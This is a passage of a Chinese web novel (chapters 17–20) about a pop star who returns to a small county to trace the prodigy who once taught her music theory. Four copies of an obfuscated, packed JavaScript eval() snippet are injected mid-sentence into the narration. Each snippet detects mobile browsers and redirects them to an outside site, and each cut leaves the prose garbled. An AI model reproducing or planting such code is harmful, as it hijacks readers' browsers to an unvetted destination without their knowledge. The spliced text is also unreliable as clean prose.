“范导当时说我会小提琴那浪费可惜,不如来演会小提琴的主角,省钱找替身了,”乌曼因吓唬他,“保不定过几天就来找你,说有现成的科学家就不用找扮科学家的演员了吧。” 远处范略的身影变得可怕了起来。折敛默默后退半步:“我签的应该是技术顾问合同,卖艺不卖身的。” 乌曼因同情地伸手戳戳折敛肩膀,指尖的温度透过卫衣传来,仿佛预见了结局:“放心,我肯定罩着你。” ……听上去就没什么诚意。 但折敛信了,他“嗯”了一声,露出一个很小的微笑。 他看上去还蛮愿意聊天的。 除了脑回路有点奇特。 乌曼因突然觉得眼前这个总是跟木头美人一样的折敛鲜活了起来。 后勤组推着餐车叮叮当当路过。工作人员正在派发下午茶饮料,有橙汁和咖啡可以选。 乌曼因选了咖啡,折敛也跟着拿了一杯,对着营养成分表皱眉。 “怎么,不喜欢这个牌子的咖啡?”乌曼因晃了晃咖啡罐。 “糖分太高了。” “因为是拿铁嘛,下次和后勤组提意见,多加个美式,”乌曼因作为对咖啡因很有抗性的社畜,很赞同折敛的品味,豪爽地说,“我来出钱承包剧组的下午茶!” 豪言壮语还没说完就被打断了。 “少喝点咖啡。”真音姐不知道从哪个角落里冒了出来,用白开水替换掉乌曼因手里的拿铁,“你只能喝这个。” 乌曼因:“……” 折敛别过脸,能看到他肩膀抖动的幅度。 “对了,”真音姐突然想起什么,“我查了一下,黄钟县最近可能有台风,你要订票的话注意当地天气。” 真音姐絮絮叨叨,跟老妈子一样叮嘱,然后识相地不打扰乌曼因和crush的两人空间,背着手去视察剧组了。 听到“黄钟县”这个地名,折敛的神情一滞,瞳孔微缩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323445|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏着拿铁瓶子的指节隐隐发白,金属罐发出轻微的“咔嗒”声。 乌曼因没注意,她郁闷地喝了口白开水,掏出手机开始看天气预报:“你现在是已经入组了吧?” 折敛还在思索真音姐的话,迟钝地点点头:“大概会在剧组一个月左右。” 范略说在附近宾馆给他开了长租房,每晚可以送他和学生们回去,待遇很不错。 乌曼因“啊”了一声,这才意识到两人可惜地错开了时间:“我忘了跟你说了,接下来半个月我都不在北京,来不了剧组。” 折敛:“?” 黑沉的眼睛立刻扫过来,盯得乌曼因有些心虚。 随后她又理直气壮,心里嘀咕,暗示多少回了不接茬,又不是她正牌男朋友,她可没义务和折敛报备行程。 “别气啦,”乌曼因熟练地祭出渣男万能句式安抚,“回来给你带礼物,想要什么都可以哦。” “你要去哪里?”折敛没被甜言蜜语诱惑到,打断她,声音凉凉的。 乌曼因说:“一个你可能都没有听说过的小县城,叫黄钟县。” 反正全国上百个县城,说了折敛也不一定知道在哪,她就照实说了。 银色的助听器依然忠实地工作着。 他没听错。 在乌曼因没看到的地方,折敛的表情变得很奇怪,像是想说什么又硬生生咽了回去。 他的影子在地上长长一条,像条无声延伸的路。 “你要去那个地方干什么?” 乌曼因没察觉他的语气有些不正常的急切。 只觉得他今天有点黏人了,刨根问底的,跟平时高冷样判若两人。 说实话的故事太长了,男人没必要知道那么多,乌曼因想了想,把真音姐的借口搬出来。 “我要去找以前一个朋友,他是个很厉害很厉害的作曲人,有了他,没准能让我的事业更上一层楼呢。”乌曼因开玩笑,做了个向上爬的手势。 折敛的喉结滚动了一下,最终什么也没说。 18. 出发 乌曼因在黄钟县认识的作曲人,只有一位。 那就是李藏之。 十年前,年仅十五岁的李藏之自学作曲,成了乌曼因乐理的启蒙老师。 十八岁的乌曼因说好呀好呀。 两颗毛头脑袋头挨头聚在一起。 一个敢教一个敢学。 李藏之的教学方式很特别,特别到十年后乌曼因在演唱会后台做噩梦还能梦见的程度—— 那是个同样闷热的下午,杂物间拼凑出来的电风扇吱呀作响,转出来的风都是热的。 李藏之把两个接了水的纸杯摆上折叠桌,杯底压着张写满公式的草稿纸。 两人窝在杂物间吃饭。 一边吃着厨房里拿来半凉的饭菜,一边李藏之随意地开始了他的教学。 “声音是一种波,所以弦的振动频率决定了音高,”李藏之用一根筷子敲击纸杯的边缘,杯中的水随着杯子的振动泛出同心圆的波纹,“首先要熟悉四个物理量,即频率(f)、声压(Pa)、声强(I)、波长(λ),这有助于之后理解音色、响度等主观概念。” 他说的每一个字乌曼因都听得懂,可是合起来不像是中国话。 “停,打住!”乌曼因漂亮的眼睛眨巴眨巴,尽是无语,“这就是你说的音乐教学?” “对啊,”李藏之理所当然地说,“刚开始当然教基础。” 乌曼因:“……” 她默默把杯子推远了些。 两人对基础的定义有亿点偏差。 “那么我们现在按照国际标准A4=440赫兹开始计算音程和振动模态……” 这么抽象的教学,乌曼因稀里糊涂一学学了两年。 那年《钢的琴》还没有上映,她的家庭用十年如一日崇敬的方式证明音乐是高雅的贵族运动,五线谱是生来就有的华贵乐章,生来贫穷者无法触及的天堂。 乌曼因向李藏之学到的第一课,就是对音乐却魅。 它当然很美妙,但美妙的是音乐本身,而非演奏它的人。 …… 折敛住的是北京胡同里的五十平小破房子。 厨房的推拉门一打开,几层胶合板架铺天盖地的不知名电器和电缆。 这才是他住处的风格,修理店那么整齐单纯是万元打理有方。 出院后他在家养伤,第三天就因用电异常引来了警察。 他已经习惯每到一地都被警察特殊关照的优待。 "我在声波仿真集群,调用节点可能多了一点。"折敛解释。 帽子叔叔根本不信。 解释不通,给导师打了电话,院士导师豁出脸面,好说歹说才解释清楚他真没在家开矿挖比特币。 警察带着五分警惕三分怀疑一分不甘心一分你小汁给我等着我迟早抓到你小辫子离开了,走之前告诉他要是区域电网崩了要罚很多钱。 ……下次还是去祸害所里的电脑吧。 导师在视频电话那头叹气:“小折啊,你要实在闲得慌,不如销假回去工作算了。” 折敛当没听到。 …… 今天总算没有人来打扰他,折敛可以闷头调试新的声波模型。 一个电话忽然打破了室内沉寂。 他拿起手机,上面显示着熟悉的11位号码。 除了乌曼因,他手机里没有存任何人。 通话记录里是密密麻麻的11位数字,以及“乌曼因”。 他摘下耳机,按下接听键。 对面显然是个很直接的人,电话一接起,她开门见山: “我听邵亦说你见到她了。” “嗯。” “她没有认出你。” “嗯。” “别嗯了,”李忘之的呼吸声像台漏气的风机,“你到底要干什么?” 折敛不吭声。 他想要继续陪在乌曼因身边,但主动权永远在乌曼因手里。 李藏之第一次有朋友,为她做了那么多,只是做错了一些事,她还不是想丢就丢了。 现在的乌曼因,生活中有经纪人、助理、化妆师,有合作的编曲师、录音师,她什么都不缺。 在折敛没有找到属于自己的、稳固的、不会被随意抛弃替代的位置前,他不会轻举妄动。 “别装哑巴!她现在是明星,几千万粉丝,随便发条微博都有十万转发,你要是再干出什么不该干的,我被牵连了都要倒霉。” “我没干。”折敛说。 李忘之阴阳怪气地问:“你敢跟我保证你没有监视她?” “我没,”折敛窝在椅子上,“作为一个明星,她的行程本来就是半公开的。” 他浑身上下最特殊的是他的眼睛,极少见的纯黑色,黑洞洞的色泽,虹膜与瞳孔界限模糊。他上睫毛密,光线点不亮眼睛,像一个永远阴暗爬行的生物。 折敛的眼睛适合拍恐怖片,看狗都像在策划谋杀。 李忘之没法分辨他说的是真是假,早年的经历早就给她过教训,永远不要相信这个人说的任何话。 “但她要回黄钟县了。”折敛突然说。 电话那头传来剧烈的咳嗽声:“不是?!这么重要的事情你为什么不早说?你不是说她没有认出你吗?” “没有认出来,她要找的是‘李藏之’。” 李忘之几乎尖叫:“为什么之前没找,现在突然找了?” “‘李藏之’以前帮她作曲编曲,她现在想要找他帮忙。”折敛平铺直叙。 “你等下,让我想想。”她咬住指甲,过了一会儿,她说,“我刚搜了一下,乌曼因已经一年多没有发布新曲了。” “一年六个月。”折敛纠正。 李忘之阴阳怪气道:“你记这么牢她也不会多看你几眼,对她有用才是真有用。” 看到这则消息她才放松些:“她有求于‘李藏之’的话,应该不会追究以前的事。只要不是抓你去蹲大牢就行,再忍忍,过两年就超法律追溯期了。” “……” 倒也没有那么严重。 折敛觉得李忘之可能误会了八年前发生的事。 但他保持沉默,懒得解释。 “她去黄钟县,会不会发现你的身份?”李忘之问。 “我会回去一趟。”折敛说,“她不会知道的。” 如果不是她突然说有求于李藏之,做出李藏之已经去世的假象才是他想干的事。 反正李藏之为乌曼因写过那么多练习曲,乌曼因从来没用过,她出师了,然后一举成名。 她又去全国知名的音乐学院进修。 有一个完美的履历。 好像李藏之在她的生命中没有留下任何痕迹,轻轻一吹就散了。 他没有想到。 这个烂泥一样的身份还能派上用场。 原来她还需要他。 …… 乌曼因把鸭舌帽压得更低了些。 这次只有她一个人,真音姐和助理都有书面工作要干,来不了。 真音姐放不下心,发来第十条语音追着叮嘱:“祖宗你千万别被拍到素颜!” 老娘素颜也很美。 她撇撇嘴,在接机的人群里找了又找,人山人海的,没找到她的目标。 她正探头探脑呢,忽然面前穿花衬衫的的大胡子沧桑男拍了拍她肩膀。 “你是不是脸盲啊?”大叔说。 乌曼因沉默地端详了他的脸和肚腩很久。 当年凭一张脸就能吸引小姑娘的浪荡鼓手,终于彻底变成了肥猪肉。 男人的花期还是太短了。 “我不脸盲,我娱乐圈出了名的人缘好,就是因为我认人能力强。”乌曼因自吹自擂。 她觉得庞清认得出她是因为她有名,大家都脸熟,这是她的功劳。 是个正常人都很难认出七八年没见的朋友,何况岁月对庞清来说绝对是把杀猪刀。 庞清脸臭臭的,拎起乌曼因的登机箱:“省城到黄钟县的高铁只要三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323446|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分钟,订个票,我们中饭之前就能赶到黄钟县。” 乌曼因跟在他身后,没见识地左右看看:“当年我从黄钟县坐大巴到省城,要一个半小时。” “那是多久以前的事了?” “也就七八年,变化那么大。” “那到了黄钟县你估计更认不出来,现在黄钟县开发了新城,原来我们唱歌的旧城只有一些上了年纪的老人没有走,县政府、工厂已经全部搬到了新城,更不要说年轻人了。” 乌曼因“啊”了一声:“熟人都不在了啊,那有点难办了……你觉得那附近谁会知道李藏之在哪?” “我?”庞清像是听到了什么好笑的事,“我和他关系那么差你问我?再申明一次,要不是你总拉着李藏之到我们面前来晃悠,我根本不关注他死活,怎么可能知道他的人际关系。” “你和我关系也那么差,不是照样得跟我去找人?”乌曼因说。 庞清有点恼了:“我把你丢这儿你信不信。” 乌曼因左脸写着“不”,右脸写着“信”。 ……好吧,老板的朋友确实惹不起。 “我是真不知道,这回没骗你,那家伙看我跟看垃圾一样,怎么还会和我来往,”庞清忍气吞声,思来想去决定独苦苦不如众苦苦,好歹拉一个人下水,“但是如果真的有人知道他的行踪的话,我估计只有一个人。” “谁?” 谁和李藏之关系居然敢比她好?乌曼因有些微妙的不服输。 庞清呵呵一笑,说了个她根本没想到的名字:“当时的酒吧老板,王兴旺。” 乌曼因的脸皱了起来,像是平白吃了一口苦瓜。 作为一个驻唱兼职乐队主唱,她对这个抠门的老板只有冰冷的交易交易,两人不是一辈人,谈不上了解。 很不愉快的记忆涌现。 最后见王兴旺的那天,他如往常一样坐在卡座里陪熟客拼酒,脸喝得涨红。 听到她的问题后露出一个让人很不舒服的、看傻子似的的表情。 “小因啊,我这可是迪厅,”王兴旺大着舌头说,“隔一条街就是警察局,怎么可能有小孩子,我这生意还做不做了。” 聚在他身边的众人哄笑。 好像她不是已经声名斐然的乌曼因,依然还是那个小小、微不足道的酒吧驻唱。 “你为什么会认为他认识李藏之?”乌曼因问。 “为什么不认识?”庞清有自己的判断,“我们这小县城基本大家都沾亲带故的,王兴旺是李藏之远方表舅,他不知道李藏之住酒吧里的话我倒立吃屎。” “……” ?好劲爆的消息? 而且什么品种的垃圾表舅居然让外甥睡杂物堆里。 哈利波特的姨夫吗? “所以我不确定他会不会告诉你李藏之的下落,”庞清耸耸肩,“毕竟是他外甥。” “他当年骗我,骗得最厉害。” 庞清幸灾乐祸:“你想找他算账是吧?” “也没有啦,”乌曼因自己扛着行李搬上安检机,“真正骗我的其实是我自己,如果当时再坚持一下,我一定可以找到他,但是我没有。” 过去的都过去了,乌曼因不是个会沉溺往事自怨自艾的人。 她很心大,也不记仇,她和李藏之的故事说到底是他们两个人之间的问题,和别人关系有,但不大。 所以,等她找到李藏之,她要把他先煎,再炸,再炖…… “十年过去了,谁知道他现在怎么样呢,没准被骗去缅甸噶腰子了。” 乌曼因思绪本来还沉浸在“李藏之的十八种做法”里,闻言沉默了一下,真诚地反问:“你真的觉得他会被骗去噶腰子?” 庞清卡壳,脸皮抖了抖,嘴硬:“反正我看到过中科院博士被骗过去的新闻。” “总感觉当时被他坑得团团转的应该是你吧。”乌曼因说。 “你不也是?”庞清终于恼羞成怒,“被骗了这么久的人还好意思说我。” 19. 失落十年 “要是找到他了,发现长得不和你胃口,或者已经彻底成为一个人渣了怎么办?”庞清嘴巴闲不住,叼着根没点燃的烟,斜眼瞥她说,“高智商的人一旦走歪路,可比普通人可怕多了。” “不要乌鸦嘴。” 乌曼因听不得这个,她记忆把李藏之美化得不像人样,简直就是上天派来拯救她的天使,是电是光是唯一的神话,“他那智商干什么都饿不死,而且他也不丑。” “你认真的?”等庞清确认乌曼因没有言不由衷之后,冷笑两声,“你没救了。” 乌曼因觉得庞清是自己长残了见不得别人好。 心眼好小的男人。 “李藏之不就一个矮矮瘦瘦小屁孩,当时他就和你差不多高,你多高?” “一米七。” “一个男的一米七,三等残疾吧。” “他当时才多大,后来不会长个的吗?” 这个问题把庞清问住了。 他不确定地说:“几岁?” “十五六……吧。”其实乌曼因也不确定。 庞清掐指一算:“那现在也二十五了。” 乌曼因觉得这个年纪有点耳熟。 …… 两人从高铁上一路微信对喷到黄钟县。 不说话是已被其他乘客投诉扰民,前座的大妈已经用看神经病的眼神看了他们一路。 拌嘴归拌嘴,庞清还没不仗义到真把乌曼因丢在车站让她体会人心险恶。 庞清先带她回自己家取车。 庞清家在一个老小区,楼外墙皮斑驳,防盗窗上各家都养了些绿植摆着。两人刚走到单元门口,就撞见庞清他妈。 老太太是个耳背的高能量老太太,偶像是费翔,年纪不小头发依然乌黑亮丽,正要出门去练广场舞。 “哎哟这是……”老太太眯着眼凑近乌曼因,突然一拍大腿,“乌曼因!好久不见了,来来来合个影!” 庞清嫌他妈丢人,拽着老太太就走,说这家伙签名照我要多少有多少您练您的广场舞去。 老太太大骂他不识好歹。 乌曼因知道母子关系不错,那时庞清是乐队唯一一个有家里人等他回家的人,打完碟就得老实回家。 老小区没有停车位,庞清找了半天才在路边找到他的车。两人坐上庞清哐当响的便宜依维柯皮卡,晃荡晃荡前往酒吧的所在地。 “打听过了,”庞清单手把着方向盘,“王老板现在改开棋牌室养老,酒吧早关了。” “生意不好?” “不怎么样,县城改造那会儿就撑不下去了。” “开在原来酒吧的位置?” “想什么呢?酒吧多大面积,开在那里还叫棋牌室吗,那得是赌场。” 开酒吧的自然不可能是什么正经人,乌曼因很难想象穿喇叭裤、戴大金链子的中年潮男王老板变成棋牌室老板的样子。 皮卡上了桥,穿过黄钟县的高山河。 “以前那艘游轮呢?晚上唱歌全县都能听见那个。”乌曼因望着江景托腮,突然问。 高山河将黄钟县劈成两半,旧城在北边,新城在南边。 江面宽阔,游轮上的歌手一开腔,高山河两岸都能跟着哼。 黄钟县的居民基本习惯了晚上听着BGM沿着江边公园散步的生活。 庞清说:“好像还有,这骗外地人的游轮项目听说还挺创收,但是唱得没以前晚了,居民会投诉。” 乌曼因嫌他没有浪漫细菌,在游轮上给全县人唱歌多是一件美事啊。 庞清“呵呵”两声:“换你去江边住。” 棋牌室就开在酒吧隔壁。 酒吧已经门厅寥落,卷帘门锈迹斑斑,闸门上积了厚厚的灰,显然已经很久没有人出入过了。 整条街都萧条得不行,好多店铺都关门大吉,也不知道老板们如今在做什么谋生。 乌曼因在酒吧驻唱的时候,旧城像现在新城那么热闹,旁边有学校、有工厂,经常有学生和工人跑来酒吧交友跳舞。 管得也松,未成年混进来是常事,说实话令人唏嘘的故事发生得也不少。 她捞了一些人,比如乐队的吉他手南吕,更多的人她只能看着。 棋牌室倒是热闹。 外面看不出来,一推开玻璃门,能把人冻死的空调凉气和“稀里哗啦”的搓麻声一起扑面而来。 乌曼因从门外接空调水的水桶里顺了一根拖把走进了棋牌室,“咣当”往地上一杵:“王兴旺呢?” 麻将声戛然而止。 满屋子老头老太太齐刷刷抬头,看这个提着凶器的女土匪。 女土匪带着鸭舌帽和墨镜,气势汹汹来者不善,估计是上门讨债,更不敢吱声了。 “谁啊谁啊?”一个啤酒肚、眼袋松弛的男人走了出来,“谁啊?谁找我?找我干……” 话没说完就卡壳了。 他揉揉眼睛,突然一个激灵,睡意全非:“我靠怎么是你!” 然后额头开始冒汗,转身就想往后面溜。 乌曼因的威慑力还是很大的,识别度也高,往那一站气场两米八。 王兴旺倒是老了,他的白头发比乌曼因记忆里多了至少两倍。 但是身上穿着快消品牌的亮绿色新品,脚上踏着AJ经久不衰的老款。 现在是老年潮男了。 “别那么紧张,我来这儿不是来整你的,毕竟你对我也算有一饭之恩。”乌曼因用拖把拦下了王兴旺,虽然嘴上说着没有恶意,但是行为可不是这么说的,“我就来找你问点以前的事情。” 王兴旺被她堵得进退不得,显然相当心虚,眼神闪烁,回避着乌曼因的视线,干笑了两声:“哎哟,都这个点了,我们先吃饭吧,桌上聊怎么样?桌上聊。” 他几乎是半推半拽地把乌曼因和看戏的庞清弄进了棋牌室后面的休息间,中间摆着一张没开机的麻将桌,桌上真摆着泡面,看上去主人家正打算吃饭。 红烧牛肉的香味扑面而来。 乌曼因忍不住吸了吸鼻子,还真饿了。 王兴旺给他们两人都泡了一桶。 三人围着麻将桌坐定。 王兴旺死鱼眼盯着乌曼因身后的庞清,叹口气:“祖宗,你问吧。” “记得我当年睡酒吧杂物间吧?”乌曼因敲着桌面。 “记得记得……”16度的空调房里,王兴旺不自觉地开始抹汗,“当时让你睡杂物间是我不对,那时候条件艰苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323447|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “不是问你这个,当时杂物间还住着个叫李藏之的男生,你认识吧?” 这回王兴旺头摇得飞快:“不认识不认识。” 乌曼因眯了眯眼,庞清在一旁小声说:“叔,我告诉她你和那小鬼是亲戚了。” 果然是有叛徒。 王兴旺狠狠剜了庞清一眼。 在她眼皮子底下还不老实,乌曼因把手机“啪”地拍在桌上,王兴旺缩了缩脖子。 事关李藏之,他怂了一半但没有全怂,勉强挣扎:“你突然跑来问他干什么?他骗你钱了?” “骗钱没有,骗心了吧,”乌曼因皮笑肉不笑地说,“所以你们当年就真的纯驴我,一个个都骗我李藏之不存在,我跟幽灵同住了两年?” 庞清默默往旁边挪了挪,假装自己不存在,省得再挨一顿骂。 “庞清骗我,是因为他和我关系不好,你又因为什么?你图什么他给你钱了?”时隔八年,乌曼因并没有多少生气,就是纳闷。 王兴旺突然觉得这辈子做过的亏心事全找上门来了。 他寻思自己扶老奶奶过马路、公交车上积极让座,怎么也能算黄钟县良好市民。 真是上辈子欠了李藏之的。 他长叹一口气,见人都已经找上门来了,没那么好打发的样子,只能坦白说: “就在你从北京回来的前一周,有人举报我们这些娱乐场所不正规向未成年人开放……李藏之当时没有满18岁,我让他避避风头别回来,酒也嘱咐其他人别提他,但他从此以后就再也没回来。” “我问了这么多人,他们为什么都不回答我?我当时难道不是酒吧的员工吗?”乌曼因觉得有点荒谬。 “是啊,你是酒吧的台柱子摇钱树,你脾气好,所有人都喜欢你……哦,除了庞清,但我觉得这小子是因爱生恨。” 庞清涨红了脸。 “但这里是黄钟县,连我和庞清都能找到沾亲带故的亲戚关系,就这么屁大点地方,”王兴旺摊手,“你是外人。” “我就跟酒吧里的人打过招呼别提李藏之。你要真想知道,街上随便拉个人都能告诉你他的事。这不是秘密。” “你只是没有像今天这么去找他而已。” 乌曼因沉默了好几秒:“……他很有名?” “比县长还有名,毕竟县长又不是黄钟县人,也没有上过央视。” 李藏之,央视,这两个词到底是怎么有机结合起来的。 她都没怎么上过。 乌曼因:“他为什么会上央视?” “因为是个天才呗,就采访他然后让他现场表演什么的,同样的年龄我孩子怎么就没有他那么牛逼,” 时间有点太久远了,王兴旺露出怀念的表情,依稀还记得当年的羡慕和有荣与焉,“那会儿不是流行神童热嘛,把人吹起来然后卖那些《提高智商七步法》什么的,他爹妈也卖过。” 乌曼因想了想,好像确实有这么股风潮,她家抽屉里似乎也塞过几本智商税。 可是她见到李藏之的时候,他丝毫没有王兴旺提到的风采,蜗居在酒吧破落的杂物堆里,没有家长、没有监护人,没人管没人问。 像个流浪的没人爱小狗。 20. 人形比格 乌曼因心里有些不是滋味。 原来她捡到、洗洗养了一段时间的小狗原来是有主的。 怪不得撒手就没。 没良心的东西。 她毫无女明星架子,狠狠嗦了口泡面,烫得舌尖发麻也不管,筷子“啪”地戳在纸碗里:“既然你们黄钟县人都认识李藏之,为什么我去公安局,警察跟我说没有李藏之这个人?” 王兴旺心想他又不是条子,他怎么知道。 “你不是说你们黄钟县全是亲戚吗?怎么不知道?” “我要是什么都知道,我开什么酒吧,现在就到街上支个摊子算命得了。” “问题是派出所不是在你们酒吧对面吗?” “……”一提起这个派出所的选址王兴旺就肝疼,翻了个白眼,“你都说在酒吧对面了,你说他们认不认识李藏之?换你你认不认识你的心腹大患?” “……” 说的也是,豁然开朗。 “不是,”乌曼因纳闷,“李藏之是你们黄钟县的什么规则怪谈吗?不能说的youknowwho?提名字会触发杀人规则那种。” “……哪有那么邪乎。” 王兴旺被她说得一乐,靠在椅子上,想了想,中肯地说: “李藏之后来的经历不太好,不说也是对他、对别人的保护。” 这个轻浮了一辈子的人语气间忽然有了些长辈的实感。 近十年后,王兴旺并不排斥对乌曼因讲述李藏之的故事。 反正李藏之那家伙已经消失很久了。 要是能让乌曼因这不达目的不罢休的家伙去给他添堵,光是想象李藏之吃瘪的表情就够他乐半天。 如果他真的还好好地活着在这个世界上的话。 王兴旺给两人倒上茶,给自己那杯加了点枸杞,吹了吹袅袅热气,眼睛转了一圈:“让我想想从哪里讲起比较好。” 一讲就来到了二十五年前。 李藏之的爸爸是外地来黄钟县打工的装配工,妈妈是本地纺织厂的质检员。 两人都没有上过大学,中专毕业后就匆匆忙忙出来打工赚钱、结婚、生子。 这一切发生得太快,父母的责任对这两个二十岁都还不到的年轻人来说,显然有些太超过了,于是他们选择把孩子交给黄钟县唯一的亲人、李藏之妈妈的单亲妈妈、在乡下的外婆带,自己继续在城里打工。 王兴旺胆大、机灵、有闯劲,是同村最早富起来的那批人,他至今还记得李藏之小时候的样子。在外婆还活着的时候,李藏之其实乖得不像话,总安静地坐在老屋的门槛上,等外婆挖笋回来,除了喜欢把外婆的收音机大卸八块外没有缺点。 “那会儿我就觉得不对劲,”王兴旺吐槽了一嘴题外话,“谁家三岁小孩能把收音机拆了又装回去还能用啊。” 在村里读完基本不用花钱的幼儿园后,他爸妈终于在县城里买了一套属于自己的房子,像是终于想起了自己在乡下还有个儿子,开始有余力关心起孩子的教育。 他们带李藏之回到县城上小学。 在上了小学没多久,他爸妈发现了不对。 李藏之太聪明了。 他的聪明不是考双百那种循序渐进、精密的聪明,而是跳频式的,不知道哪步就跟不上他的思路就会被丢下。 他自己也觉得也难和身边的人沟通,不知道为什么世界上全是麻瓜。 李藏之的能力对这个普通家庭来说,等于祖坟冒的不是青烟,是喷泉。 小学的时候,已经有奥赛晚托班以及初级的选拔,他爹妈经历了第一次拿奖后的采访,陆陆续续竞赛的奖金、出版社的邀约、采访的聚光灯如雪片般飞来,他们突然意识到—— 原来特别是可以直接变现的。 “他们一家的悲剧,可能就是从那时候开始了。”王兴旺说。 乌曼因的泡面叉子停在半空:“这不是挺好吗?” 王兴旺呵呵:“当然好,但是他们没有给他时间成长,世界上知识那么多,一个小孩子,他再聪明能知道什么。” “他们在那段时间出书得到了一些钱,大概是百来万样子,零几年的一百万。” “钱来的太多太快,像大风刮来的一样,搅浑了他们的头脑,让他们做出了一个决定,让李藏之退学,卖掉房子拿着这笔钱去全球旅游、移民国外,到了国外他们可以让李藏之上牛津哈佛,比国内更好。” “在几个‘朋友’的撺掇下,他们申请签证,先到了香港,然后又去了澳门。” 在澳门的赌场里,有一种玩法叫做德/州/扑/克,只要在短时间内基础每张扑克牌的花色和数字,依靠贝叶斯概率能够推算庄家的底牌范围,大幅度提高赢钱概率。 只在赌场酒店住了几天,李藏之帮他父母赚到了一千万,美金。 赌博能彻彻底底毁掉两个原本踏实的普通人。 作为局外人,王兴旺有时也会设想,如果李藏之爹妈在拿到一百万的时候停手、又或者他们在赢了一千万美金的时候停手……那也太爽了。 谁没有做过一步登天的美梦呢? 但很快他意识到,在更早之前,他们就回不去了。 他们会想赢了五百万我们就走、赢了六百万我们就走、赢了七百万我们就走…… 直到把全身筹码都压上。 货悖而入者,亦悖而出。 “偏偏就在那个时候,李藏之的外婆病危,有亲戚打电话给李藏之的妈妈,被他听到了,他说他要回去看外婆,但他妈妈不肯。” 对于李藏之来说,□□就像一个还算好玩的计算游戏。可以玩,但是久了就很没意思,他不知道为什么父母都不让他回去,他们睁着通红的、带着血丝的狂热眼睛,笑容带着纸醉金迷的狂热。 李藏之不知道签证和金钱的意义,但他知道他得回去找会给他煲鸡汤的外婆。 “那孩子倔得很,”王兴旺搜了地图给乌曼因看,“趁父母不注意,自己溜上了回珠海的大巴。要我说也是本事,零几年,一个十岁的孩子,靠着顺来的几张美钞,居然真给他摸回黄钟县了。” 乌曼因的叉子彻底放下了:“那他父母......” 王兴旺摊手:“没了摇钱树还能怎么样?听说输得精光,还倒欠一屁股债。” “之后五年的故事,就是一个小孩,唯一的长辈是病重的外婆,他得一边上学一边赚钱养他外婆,你要听完整版本,只能去问李藏之,”王兴旺说,“等到发展到李藏之十五岁时,他爸爸被判刑,妈妈病逝,闹到一个临时专案组来我们县驻扎。人一旦习惯了横财,就不会再踏踏实实工作了,被抓进去也是很正常的事情。” 庞清忍不住举手发言:“既然他□□那么厉害,不能让他再去澳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323448|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门一次?” 王兴旺用奇异的神情扫过他,像是第一次发现这里还坐着个傻呗:“你为什么觉得赌场还会再让他进门?赌场是不允许算牌的。别说他还是未成年人,现成的理由。” “……” “后来他外婆死了,没人管得了他,李藏之不能忍受没有网络的日子,就从村里跑了出来,流浪了一段时间,大错没有、小错不断,偷接电线、破解网吧系统、改装信号塔,以一己之力倒逼了我们省的无线电管理条例发展。当时社区觉得最适合他的地方是少管所,但奈何李藏之犯的错又没有到八大罪那种程度。只能让他在县里随便晃荡,随机刷新在各种奇怪的地方。” “你是黄钟县人你对他也只有‘忍耐’二字。” 堪称黄钟县人形比格。 提起偷接电线的时候,王兴旺的声音中不知道为什么带了点忍人的沧桑和疲惫。 那时候李藏之的状态属于长矛沾屎戳谁谁死,王兴旺哪敢反抗。 乌曼因:“……” 乌曼因恍恍惚惚。 说到这儿,基本上就和她认识的李藏之对上号了。 果然能在酒吧杂物堆里捡到的小孩,不会是什么等闲之辈。 虽然她觉得李藏之是个很可爱的小孩,当然这得建立在忽略他那张仿佛全世界都欠他钱的臭脸、不在一条线上的脑回路、看谁都像是在看弱智的眼神的基础上,他还是很不错的小孩…… 好吧,可能带了那么点滤镜。 好消息是不用担心他被骗去嘎腰子,坏消息是她现在得盯着新闻联播关注李藏之有没有成为缅北电诈园区技术总监。 以他的成长轨迹来说这完全有可能。 李藏之在失去母亲、照顾外婆的时候,她比他大三岁,依然穿着漂亮时尚的JK裙子,理出潮流的发型,在海淀区读中学,每天烦恼的不过是家长的忽视和隔壁班男生的目光。 